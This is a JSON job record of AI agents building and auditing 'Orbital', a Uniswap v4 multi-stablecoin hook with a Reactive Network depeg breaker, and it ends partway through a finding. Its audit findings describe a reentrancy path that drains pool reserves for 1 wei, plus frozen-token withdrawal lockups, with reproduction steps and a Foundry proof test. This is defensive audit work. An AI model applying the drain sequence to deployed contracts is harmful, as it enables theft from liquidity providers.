{"assessments":[],"deployments":[{"attestationHash":"1ea80f69d09f070fea2ddfd561e820ff159f3df77d2f990b64d17ca98dfc9c6e","chainId":11155111,"contracts":[],"id":"71b3efee-8836-4026-ac91-491fa03ea4b6","manifestHash":"6bf864286f178904a19385097cf09758a13fc9424244e6b5a98ccea94c01a3fc","status":"parked"}],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"56b8eb92-b0da-4fa1-8262-00a0c4bbf1a2","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"5348776b2f03bf5ab225a538ace2dea463140861b39024bdee9f2eea41a42505","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"e82e59f23bc7a002e5893990c001368a3e5b913f29c19571a646a9b04afdd029","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"8c6c182ccb7acb98bad7d0f056adcd8b522e59ae9d7c91e55b668927c087751e","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"3014f1ea5961918ca059453a484bf4c8bcbbfc2248dbe31d94ac7c5cdf8f50bd","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"3014f1ea5961918ca059453a484bf4c8bcbbfc2248dbe31d94ac7c5cdf8f50bd","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"8c49db7d0a37ae6c378296098ec01ebf6afbe1a9bf4be2c71d3684ed4091f96b","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"f5a8b54f108903b0b674b297b7ec8a175ddb1a437a557e11f55967834eea47b7","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"0420154501c14973c66c60cfd92333debf8793e76ad894fd0b05d6e20ff4a096","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"47381b166d1f406a34f0ebdc740ee21bc0383e56e7ad9084b26abf1bf7570904","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"47381b166d1f406a34f0ebdc740ee21bc0383e56e7ad9084b26abf1bf7570904","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"95ffcf356c4ddd4b44539c1a74c18a2ca7b65218566074f547653ae207953e2e","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"82e6d438b039428f926fac6e6cfebfc17e6fe8c6fc320a1468d3f0f646579e76","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","state":"accepted"}],"objective":"Build Orbital, Uniswap v4 hook implementing Paradigm's Orbital stableswap, where liquidity lies on an N-dimensional sphere instead of a flat curve surface — a multi-token pool like Curve, but with higher-dimensional concentrated liquidity. Each LP concentrates liquidity around the peg and any coin that breaks peg is automatically isolated, so LPs earn more in calm markets and shed far less impermanent loss when a stablecoin depegs.\n\nWe built a keeper-free depeg circuit-breaker with Reactive Network. A Reactive Smart Contract on Reactive Lasna (OrbitalDepegReactive) subscribes to a Chainlink price feed's AnswerUpdated event for one of the pool's stablecoins; when the reported price leaves the peg band, it emits a cross-chain Callback to Unichain Sepolia. There the Reactive callback proxy invokes our OrbitalDepegCallback contract, which is registered as the hook's guardian and calls OrbitalHook.guardianPause()  pausing the pool the instant an external oracle reports a depeg, faster than any human or keeper. The breaker can only pause (a fail-safe action); resuming the pool stays owner-only so a human reviews first. Unichain Sepolia (1301) is a supported Reactive destination, so the hook is the callback target directly and reactive-lib stays out of the audited core","parentJobId":null,"planHash":"e08558b4f2b115ae40b059a9ce8dd31c4c1d24586abbbc983f1df31e668d3677","previousHash":"b3e23db536c4767e0fac84db7c43402d8c6cc960cb0279670c1a815893c7aa1e","projectId":"56b8eb92-b0da-4fa1-8262-00a0c4bbf1a2","publication":{"commit":"302eaf0dc338969005cd48fb36b598601fd1d6fd","deliveredAt":"2026-10-02T01:47:32.546Z","repoUrl":"https://github.com/identity-md-launches/launch-572-build-orbital-uniswap-v4"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[],"site":null,"snapshotHash":"aad6e7e0b3d87e82309acb248fa962d91e55a948d10dbb82d199fa735154329e","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"02f41b97c9fdfbc7aaa18a5c1c75226a6024f97c22fd9b91647b37058793ad6a","device":"98b4506bef931d13","findings":[],"hash":"0420154501c14973c66c60cfd92333debf8793e76ad894fd0b05d6e20ff4a096","nodeId":"c1b189f2-96c1-4e2c-ac29-95c2b5da8c06","outcome":"completed","summary":"Both findings reproduced and are fixed. The revision is committed, the working tree is clean, and the answers are in `.imd-responses.json` at the repository root.\n\n**High finding (third coin pushed past its pole): fixed.** The reported sequence reproduced exactly on the old tree. Coin 2 reached 0.9701 of the interior radius, trades between the other coins carried it to 1.0206 without touching it, buying 59,760 of it cost 1 raw unit, and 1,000 of healthy coin 0 then also cost 1 raw unit. The cause was that the end-of-trade pole check only tested the input coin. Changes in `src/OrbitalHook.sol`:\n\n- The pole check now loops over every coin and reverts with the existing error when any interior reserve exceeds the interior radius. The pushing trade is now refused, coin 2 costs 4,169e8 and 1,000 coin 0 costs 690e8, matching the reviewer's own measurement with the same check.\n- A start-of-trade fail-safe refuses swaps and quotes with a new error when the point sits inside the torus beyond a rounding tolerance, so the solvers' dust shortcuts can never sell off a deep surplus. Withdrawals keep working. The tolerance covers tangent tick landings and one raw unit of the coarsest coin, and the existing fuzz suites ran clean against it at 1,500 runs each.\n\n**Low finding (failed delivery final for the excursion): fixed.** The breaker now takes a last constructor argument, a retry interval in feed rounds. While tripped it re-requests the callback every that many out-of-band rounds, emitting a new event. Zero keeps the strict one-callback-per-excursion behaviour. The README documents the parameter, the changed resume semantics with retries on, and the operator's delivery check.\n\n**Tests and checks.** New file `test/OrbitalPole.t.sol` covers the reported sequence, a 3-coin fuzz with trades up to 1.5M units asserting no coin is ever past its pole, and the fail-safe via a test-only corruptible subclass. Two retry tests were added to the reactive suite. Results:\n\n| Check | Result |\n| --- | --- |\n| `forge test` from `forge clean` with empty environment | 92 passed, 0 failed |\n| `forge fmt --check` | clean |\n| Pinned protected suites against real creation code | 8 passed, 1 skipped (decimals check needs its env var) |\n\nOne design consequence is now documented: a trade between healthy coins is refused while it would push a depegged coin past its pole. Buying the depegged coin or trading the others back toward the peg always works, so the pool cannot get stuck.","treeHash":"7c51f0514e22284888c6091090269e994fc62a3d","usage":{"cachedInputTokens":3730523,"inputTokens":834,"model":"claude-fable-5-1","outputTokens":71984,"runtime":"claude","turns":66,"wallClockMs":989781}},{"artifacts":[],"attempt":1,"bundleHash":"20970aa9c6a9f19944d183cc523639e9790912de0fa3eb4aea826470572de2ed","device":"30a6c1a419ef4f9c","findings":[{"description":"OrbitalDepegReactive latches `tripped[emitter]` on the first out-of-band round and emits exactly one `Callback`; every later out-of-band round only logs `DepegPersists` until an in-band round re-arms it. The destination side has no way to report back, so if that single delivery fails (OrbitalDepegCallback reverts with HookNotSet / WrongRvmId / the hook reverts NotGuardian because the guardian was rotated, or the Reactive Network drops the callback because the callback contract cannot pay for it) the pool keeps trading for the whole remaining excursion. The keeper-free guarantee then silently degrades to 'a human must notice and call pause()'. Fixing the destination afterwards does not help until the price has gone back in band and left again. Suggested mitigations: re-emit the callback every K `DepegPersists` rounds (or after a time gap) while tripped, or let the owner re-arm the ReactVM copy; at minimum document the operational requirement to monitor failed callback deliveries. Reproduced by test/ReactiveEdge.t.sol::test_failedDeliveryIsNotRetriedWithinTheExcursion, which passes on the current code because it asserts the behaviour as it is.","line":113,"path":"src/reactive/OrbitalDepegReactive.sol","reproduction":"1) Deploy OrbitalDepegCallback with hook = address(0) (or any state that makes depeg() revert: wrong rvmId, hook.setGuardian(other)). 2) Deploy OrbitalDepegReactive pointing at it; react() with AnswerUpdated price 0.5e8 (peg 1e8, band 200 bps), roundId 1 -> one Callback emitted, tripped[feed] = true. 3) Deliver the payload through the proxy: reverts HookNotSet; hook.paused() == false. 4) Bind the hook (setHook) and react() with rounds 2..11 at price 0.5e8: expected (for a keeper-free breaker) at least one further Callback so the pause lands; actual: zero Callback events, only DepegPersists, hook.paused() stays false for the whole excursion. 5) Only react() with an in-band price (round 12) followed by another out-of-band round (13) produces a Callback that pauses.","severity":"low","title":"Depeg breaker is one-shot per excursion: a failed callback delivery is never retried while the price stays out of band"},{"description":"A tick is pinned when the interior's normalised position alpha_int/r_int rises past its k_norm. Dumping one coin until its interior reserve reaches the sphere's pole (the hook's SwapTooLarge limit) lifts that position only to (N - sqrt(N-1))/sqrt(N): 1.1547 for N = 3 (vs the admitted range (0.732, 1.1547]), 1.893 for N = 8 (vs (1.828, 2.475]). Planes above that value pin only when two or more coins depeg together. The constructor admits the whole theoretical range, so a deployer who places a 'tight' tick at, say, k = 2.0 on an 8-coin basket gets a tick that never isolates on any single-coin depeg and behaves like full-range liquidity for the scenario the design advertises. Not a code defect (the geometry is the paper's); worth a constructor comment or a README table of single-depeg-reachable k per N so configurations are chosen deliberately. Observed while measuring an 8-coin, 8-tick pool: ticks at k >= 1.909 were never pinned before SwapTooLarge, ticks at 1.836..1.892 were pinned and unpinned correctly.","line":216,"path":"src/OrbitalHook.sol","reproduction":"Deploy an 8-coin basket (decimals 18/6 alternating) with kNorms = kMin + (kMax - kMin) * (l + 1) / 8 for l = 0..7 (kMin = sqrt(8) - 1, kMax = 7/sqrt(8)), deposit 1e24 into each tick, then exact-in swap coin 0 for coin 1 in 1.5e24 steps: the second step reverts SwapTooLarge with boundaryMask still 0, i.e. no tick ever pinned. Re-run with kNorms = kMin + 0.008e18 * (l + 1): the same trade sequence pins ticks 0..6 (mask 127) and a return trade unpins them all.","severity":"info","title":"Constructor accepts tick planes a single-coin depeg can never reach"}],"hash":"2b732d37e585549a9e071f9a6ccd74d06a01f353ffd62a3f424f35909b9a4cea","nodeId":"2dc8499f-388f-4cfd-ab89-adf65568a2e7","outcome":"completed","summary":"Done. The revision compiles and the full suite passes: 137 tests across 17 suites, no failures, no skipped tests.\n\n**What was wrong.** My accepted suite was written against the previous implementation. The other contributor's revision changed three things my tests depended on: the callback constructor lost its owner argument, the math library's `PlaneUnreachable` error was removed, and withdrawals gained a residual floor at the new 1e18 minimum radius. That left my files uncompilable, which is the runtime error the last attempt hit.\n\n**What I changed, keeping the accepted work intact.**\n- `test/ReactiveEdge.t.sol`: construct the callback with three arguments and hand ownership over. Two tests now assert the revised behaviour: an already-paused delivery is acknowledged with `DepegAlreadyPaused` and still records the round, and a second aggregator is latched and round-tracked on its own. Added a failure-path test showing a failed delivery is never retried within an excursion.\n- `test/invariant/OrbitalHookInvariant.t.sol`: dropped the removed selector. The handler's old rollback for the crossing defect is now a hard assertion, since that defect is fixed. Withdrawals respect the residual floor, and one attempt in four deliberately targets a residual below it and expects `ResidualTooSmall`. The pool floor the handler keeps dropped from 10,000 to 10 units of radius.\n- `test/OrbitalHookEdge.t.sol`: the one-wei test now bounds the first trade by the documented opening dust and the second by one wei of rounding. The all-pinned test asserts that a deposit above the pinned plane reopens trading instead of noting it as a reported defect.\n- New `test/invariant/OrbitalFrozenCoinInvariant.t.sol`: random sequences with coins frozen and thawed, covering the new claims-delivery and `redeemClaims` paths. Invariants: every token in the manager equals hook claims plus LP claims and the netted flows, the hook stays solvent, and radii add up.\n\n**Findings** are in `.imd-findings.json` at the repo root. One low: the breaker latches on the first out-of-band round, so a single failed callback delivery leaves the pool open for the rest of the excursion. One info: the constructor admits tick planes a single-coin depeg can never reach, with the reachable bound per basket size. A scratch gas probe on an 8-coin, 8-tick pool showed a four-plane crossing at about 2M gas, so there is no gas finding.\n\nNothing is committed; the harness commits accepted work. Scratch files live only under `test/scratch/`.","treeHash":"592800433da52de21a2b0bc189d4d91130360f3c","usage":{"cachedInputTokens":6801640,"inputTokens":930,"model":"claude-fable-5-1","outputTokens":80186,"runtime":"claude","turns":98,"wallClockMs":2568025}},{"artifacts":[],"attempt":1,"bundleHash":"40ea7ab9184d4c88c6e338f2722b9d793f97a19aed56393eea763a166d65571e","device":"468e82a89b9bfe18","findings":[],"hash":"3bc93d08585c2459ade4bd881a4249e24da9f9eb35a5f3f7e49ee47724f4916a","nodeId":"7000abcf-1b3e-42e8-939f-b8e2c1045dc3","outcome":"completed","summary":"The task is complete. The only file added is `launch.json`, validated against the schema and cross-checked against the hook source, with the full test suite passing.\n\n**What I wrote.** The manifest starts with `\"kind\": \"univ4_hook\"`, names `OrbitalHook` and `OrbitalToken` as they are in the repository, and declares exactly the four permissions the hook's `getHookPermissions` returns: beforeInitialize, beforeAddLiquidity, beforeSwap, beforeSwapReturnDelta (address flags 0x2888). The pool is native ETH (zero address) paired with ORB at fee 3000 and tick spacing 60, with initialPrice 2^96 written in decimal. The pool manager argument is exactly \"$poolManager\". Notes are 3975 characters.\n\n**A blocking gap I could not resolve from this assignment.** The hook's constructor takes seven arguments: pool manager, owner, guardian, three dynamic arrays (basket addresses, decimals, tick kNorms) and the fee. A recorded deployer rejection on this network states that a univ4_hook constructor argument must be an address or an integer and that a manifest can express nothing else, and there is no `$owner` reference for this kind. So:\n\n- Arguments 3 to 5 (the arrays) are written as the integer placeholder `0`, which no ABI encoder accepts, so the deployer fails safely rather than deploying a misconfigured hook.\n- Argument 1 (owner) is the zero address, since naming a privileged wallet is forbidden. The constructor reverts on it, so the protected Hook floor would report a deployment revert until the deployer substitutes the policy owner.\n- Argument 2 (guardian) is legitimately zero: the Reactive callback contract needs the hook address and is wired later via setGuardian.\n- Argument 6 (fee) is 400 ppm, the tested value.\n\nThe notes spell this out, following the earlier accepted LaunchGuardHook manifest that handled the same deployer limitation the same way, and record the intended values: Circle USDC on Unichain Sepolia at 0x31d0220469e10c4E71834a79b1f276d740d3768F (6 decimals, confirmed over RPC today) plus further verified stablecoins, and the README's kNorms. The fix is either deployer support for array arguments and `$owner`, or a hook revision that takes basket and ticks after construction. I could not find a second verified stablecoin on Unichain Sepolia, so the notes name only USDC.\n\n**Checks run.**\n\n| Check | Result |\n| --- | --- |\n| Scratch schema validator (patterns, enums, key order, notes cap, arg count vs ABI, permissions vs source) | OK |\n| forge build --offline | OK |\n| forge test --offline | 62 passed, 0 failed |\n| Files changed outside launch.json | none |\n\nSources consulted for the basket address: [Circle USDC contract addresses](https://developers.circle.com/stablecoins/usdc-contract-addresses), [Using USDC on Unichain](https://docs.unichain.org/docs/building-on-unichain/transfer-usdc).","treeHash":"b25e23a0bc05b2ad4d1df19b10f8bab6853e1261","usage":{"cachedInputTokens":3290414,"inputTokens":930,"model":"claude-fable-5-1","outputTokens":28805,"runtime":"claude","turns":37,"wallClockMs":413384}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"0256823ae36e7900","findings":[],"hash":"4054af8f297b0372dfb6e5b901bb80f5d3150640ca8d675372d97b5a6100b75c","nodeId":"2dc8499f-388f-4cfd-ab89-adf65568a2e7","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":3,"wallClockMs":418195}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"98b4506bef931d13","findings":[{"citation":"resolved","description":"deposit() adds the new position's virtual vector to `_x` (line 357) and only afterwards calls `_settleFees` (line 360), which unlocks the PoolManager and `take`s the caller's pending fees to the caller; `L.radius`, `totalRadius` and `positions` are updated only after that call (lines 361-367) and the deposit tokens are pulled last (line 369). Between 357 and 365 the hook's state is inconsistent: reserves are inflated by the new share while the interior radius is unchanged, so the point sits deep INSIDE the torus (F << 0). The fee take is an external call to a basket token with the depositor as recipient. `_beforeSwap` has no reentrancy guard (the `nonReentrant` modifier covers only deposit/withdraw/collectFees) and `PoolManager.swap` is callable by anyone while the manager is unlocked, which it is during the hook's own unlock callback. If the basket token notifies recipients on transfer (ERC-777 `tokensReceived`, ERC-1363 `onTransferReceived`, or any token with a receiver hook), the depositor's callback can call `PoolManager.swap` with an exact-output order: `OrbitalMath.solveIn` returns 0 because `_f(p, 0, dOut) <= 0` for every dOut up to the inflation, `_execute` sets `rawIn = 1`, and the hook burns its own output claims for 1 wei of input. The attacker then settles 1 wei, lets deposit() finish (it pays only the pre-computed `amounts`), and withdraws. The README's claim that 'swaps execute inside the PoolManager lock' is not a guard: the lock is held by the hook itself at that moment. Precondition: at least one basket coin with a transfer hook (none of USDC/USDT/DAI have one, so this is 'medium' for the named basket; it is a full drain if such a coin is ever included). Fix: call `_settleFees` BEFORE mutating `_x` (and after all position/radius updates are consistent), and additionally reject re-entrant swaps in `_beforeSwap` (`if (_entered != 1) revert Reentrancy();`). Both fixes were verified to make the proof pass. Slither's reentrancy-no-eth lead at line 335 is this defect.","line":357,"path":"src/OrbitalHook.sol","reproduction":"Basket = {A (hooked, notifies recipient), B, C}, ticks k = {0.74, 1.15}, fee 400 ppm. 1) Victim LP deposits 2,000,000 radius into tick 1 (full range). 2) Attacker contract deposits 1,000,000 radius into tick 0. 3) A trader sells 100,000 A for B so the attacker accrues ~13 A of fees. 4) Attacker calls deposit(0, 3_000_000e18, max). Inside, after `_x += virt`, `_settleFees` takes 13 A to the attacker; the token calls attacker.tokensReceived; the attacker calls PoolManager.swap(keyAB, exact-out 848,925 B) which the hook prices at 1 wei of A (`quoteExactOutput` returns 1 for every amount up to the hook's whole B claim balance); the attacker takes 848,925e18 B and settles 1 wei of A. deposit() then completes and pulls the normal 3R deposit. 5) Attacker withdraws 4R and collects fees. Expected: attacker's token value after step 5 ~= value before step 2 plus ~1.8k (fees + spread of one 100k swap). Actual: attacker is up 584,129 tokens (300,584,129e18 vs 300,000,000e18 start); the victim's subsequent withdraw(1, 2R) reverts with an arithmetic panic because the hook's claims no longer cover the accounted reserves. Proof: test/scratch/ReenterProof.t.sol, test_reenteringDepositMustNotProfit fails on the current code (300584129e18 > 300010000e18) and passes with either fix.","severity":"medium","snippet":"            _x[k] += virt[k]; // the sub-unit rounding surplus stays in the manager as dust\n        }\n\n        _settleFees(levelId, msg.sender);","title":"deposit() inflates reserves before paying fees out; a basket token with transfer hooks lets the depositor re-enter PoolManager.swap and drain the pool's real reserves for 1 wei"},{"citation":"resolved","description":"The Withdraw branch of unlockCallback loops over all N basket tokens and, for every non-zero amount, burns the hook's claim and `take`s the ERC-20 to the LP (lines 452-455). `take` performs an ERC-20 transfer from the PoolManager; if that transfer reverts for ONE coin, the whole unlock reverts and the LP receives nothing of the other N-1 coins. An LP cannot opt out of a coin: `amounts[k]` is computed from the geometry (lines 392-402) and the only way a coin is skipped is `amount == 0`. The economics guide's first failure mode applies directly: the protocol's whole premise is that one basket coin may collapse, and a collapsing stablecoin is exactly the coin whose issuer pauses transfers or freezes addresses (USDT `pause()`, USDC blacklist, both reverting on transfer). While that persists (potentially permanently for a dead coin), no LP can withdraw ANY coin, and no LP can collect fees in any coin, contradicting the README guarantees 'Withdrawals always work, paused or not' and 'Nobody can move LP funds'. The same applies per-LP when an issuer blacklists one LP address. Fix: make delivery per-coin resilient, e.g. mint the ERC-6909 claim to the LP (`poolManager.transfer(data.account, c.toId(), amount)`) when the ERC-20 take fails (or always, letting LPs redeem each coin separately), so a frozen coin only strands itself.","line":453,"path":"src/OrbitalHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {OrbitalHook} from \"src/OrbitalHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @dev Stablecoin with an issuer pause switch (USDT/USDC style): transfers revert while paused.\ncontract PausableERC20 {\n    string public name = \"Pausable USD\";\n    string public symbol = \"PUSD\";\n    uint8 public constant decimals = 18;\n    uint256 public totalSupply;\n    bool public paused;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    function setPaused(bool p) external {\n        paused = p;\n    }\n\n    function mint(address to, uint256 amount) external {\n        totalSupply += amount;\n        balanceOf[to] += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        require(!paused, \"paused\");\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        require(!paused, \"paused\");\n        uint256 allowed = allowance[from][msg.sender];\n        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\ncontract FrozenTokenProofTest is Test {\n    uint160 constant FLAGS = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP\n        | HookFlags.BEFORE_SWAP_RETURN_DELTA;\n    uint256 constant R = 1_000_000e18;\n\n    PoolManager manager;\n    OrbitalHook hook;\n    PausableERC20 usdA;\n    PausableERC20 usdB;\n    PausableERC20 usdC;\n    address lp = makeAddr(\"lp\");\n    address owner = makeAddr(\"owner\");\n\n    function setUp() public {\n        manager = new PoolManager(address(this));\n        usdA = new PausableERC20();\n        usdB = new PausableERC20();\n        usdC = new PausableERC20();\n        address[] memory basket = new address[](3);\n        basket[0] = address(usdA);\n        basket[1] = address(usdB);\n        basket[2] = address(usdC);\n        uint8[] memory decs = new uint8[](3);\n        decs[0] = 18;\n        decs[1] = 18;\n        decs[2] = 18;\n        uint256[] memory ks = new uint256[](2);\n        ks[0] = 0.74e18;\n        ks[1] = 1.15e18;\n        bytes memory creationCode = abi.encodePacked(\n            type(OrbitalHook).creationCode,\n            abi.encode(IPoolManager(address(manager)), owner, address(0), basket, decs, ks, uint24(400))\n        );\n        bytes32 salt = mine(creationCode);\n        hook = new OrbitalHook{salt: salt}(\n            IPoolManager(address(manager)), owner, address(0), basket, decs, ks, uint24(400)\n        );\n        usdA.mint(lp, 10 * R);\n        usdB.mint(lp, 10 * R);\n        usdC.mint(lp, 10 * R);\n        vm.startPrank(lp);\n        usdA.approve(address(hook), type(uint256).max);\n        usdB.approve(address(hook), type(uint256).max);\n        usdC.approve(address(hook), type(uint256).max);\n        vm.stopPrank();\n    }\n\n    function mine(bytes memory creationCode) internal view returns (bytes32) {\n        bytes32 h = keccak256(creationCode);\n        for (uint256 i = 0; i < 500_000; i++) {\n            address p =\n                address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));\n            if (HookFlags.matches(p, FLAGS)) return bytes32(i);\n        }\n        revert(\"no salt\");\n    }\n\n    function maxes() internal pure returns (uint256[] memory m) {\n        m = new uint256[](3);\n        m[0] = type(uint256).max;\n        m[1] = type(uint256).max;\n        m[2] = type(uint256).max;\n    }\n\n    /// One basket coin's issuer freezes transfers (what happens to a collapsing stablecoin). The LP\n    /// must still be able to get its healthy coins out, as tokens or as ERC-6909 claims it can redeem.\n    function test_frozenCoinMustNotLockHealthyCoins() public {\n        vm.prank(lp);\n        hook.deposit(1, R, maxes());\n        usdC.setPaused(true);\n\n        uint256 a0 = usdA.balanceOf(lp);\n        uint256 claimsA0 = manager.balanceOf(lp, uint256(uint160(address(usdA))));\n        vm.prank(lp);\n        (bool ok,) = address(hook).call(abi.encodeCall(hook.withdraw, (1, R, new uint256[](3))));\n        assertTrue(ok, \"withdraw reverted because usdC is frozen\");\n        bool gotA = usdA.balanceOf(lp) > a0 || manager.balanceOf(lp, uint256(uint160(address(usdA)))) > claimsA0;\n        assertTrue(gotA, \"LP received no usdA\");\n    }\n}","reproduction":"Basket = {A, B, C} where C is an ERC-20 with an issuer pause switch; ticks {0.74, 1.15}. 1) LP deposits 1,000,000e18 radius into tick 1 (pays ~422,650 of each coin). 2) C's issuer pauses transfers (C.setPaused(true)). 3) LP calls withdraw(1, 1_000_000e18, [0,0,0]). Expected: the LP recovers its A and B (as tokens or as redeemable claims) and only C is stranded. Actual: the call reverts with C's 'paused' error bubbled through PoolManager.take, the LP receives nothing, and collectFees(1) reverts the same way for as long as C stays paused. Proof: test/scratch/FrozenProof.t.sol (test_frozenCoinMustNotLockHealthyCoins) fails on the current code and passes when unlockCallback falls back to transferring the ERC-6909 claim to the LP for a coin whose take reverts.","severity":"medium","snippet":"                poolManager.burn(address(this), c.toId(), amount);\n                poolManager.take(c, data.account, amount);","title":"withdraw()/collectFees() deliver every basket coin in one callback, so one frozen coin (issuer pause or LP blacklist) locks the LP's healthy coins too"},{"citation":"resolved","description":"Every deposit, withdrawal and swap rounds in wei: `floorK = radius * L.xMinNorm / WAD` is floored per position while `_virtualFloor` floors once per level (sum of per-position floors <= level floor, so the sum of per-position `real` can exceed `_x[k] - floorAll` by up to one wei per position), `_tokenShare` floors the interior share, and `_feeGrowth` floors per swap. After an ordinary sequence of operations the hook's ERC-6909 claim balance for a coin is a few wei below `realReserves()[k] / scale[k]`. `withdraw` and `_settleFees` compute `amounts` from the accounting and `unlockCallback` burns exactly that amount (line 453); `PoolManager.burn` underflows and the whole withdrawal reverts with panic 0x11. The last LP therefore cannot withdraw its full position (the position is 'always withdrawable' by design, including while paused) and can only exit by leaving a dust tail that is never recoverable; the same panic hits the last `collectFees`. Loss is wei-level, but the revert is a hard failure of the withdraw-while-paused guarantee and happens in roughly 1 of 6 random 24-operation sequences in the fuzz. Fix: in the Withdraw branch cap `amount` at `poolManager.balanceOf(address(this), c.toId())` (or round `real` down by one unit when it equals the full remaining reserve) so the last withdrawer absorbs the dust instead of reverting.","line":453,"path":"src/OrbitalHook.sol","reproduction":"Three LPs, basket {A(18), B(18), C(6)}, ticks {0.74, 0.95, 1.15}, fee 400 ppm. Run the deterministic 24-operation sequence generated from seed 359279603165483938 in test/scratch/LastWithdrawProof.t.sol (deposits of 1-3M radius, partial withdrawals, exact-in/out swaps of up to 800k across the three pairs). Then every LP withdraws its whole position level by level. Expected: all nine withdrawals succeed and totalRadius ends at 0. Actual: the final LP's withdraw reverts inside unlockCallback at `poolManager.burn(hook, idA, 9952880593173813719721)` with panic 0x11 because the hook holds fewer A claims than the accounted amount (in the fixture-based run with seed 1038294573724128361204176664738 the shortfall was exactly 2 wei: claims 6433868441190070900067 vs accounted 6433868441190070900069). Proof: test/scratch/LastWithdrawProof.t.sol (test_everyLpCanFullyWithdraw) fails now and passes once the burn/take amount is capped at the hook's claim balance.","severity":"low","snippet":"                poolManager.burn(address(this), c.toId(), amount);","title":"Accounted real reserves can exceed the hook's claim balance by a few wei, so the last full withdrawal (or fee claim) reverts with an arithmetic panic instead of paying"},{"citation":"resolved","description":"react() has no memory of what it already reported: every AnswerUpdated log whose price is outside the band produces a new Callback (lines 96-104), and OrbitalDepegCallback.depeg -> guardianPause is idempotent, so every callback after the first is useless but is still charged (OrbitalDepegReactive.pay by the system contract for the reactive execution, OrbitalDepegCallback.pay by the callback proxy for the delivered callback with a 500k gas limit). A stablecoin that stays outside the band for days (the scenario the breaker exists for) produces one callback per heartbeat/deviation update, i.e. about 24/day on an hourly heartbeat, each paid from the two contracts' balances. 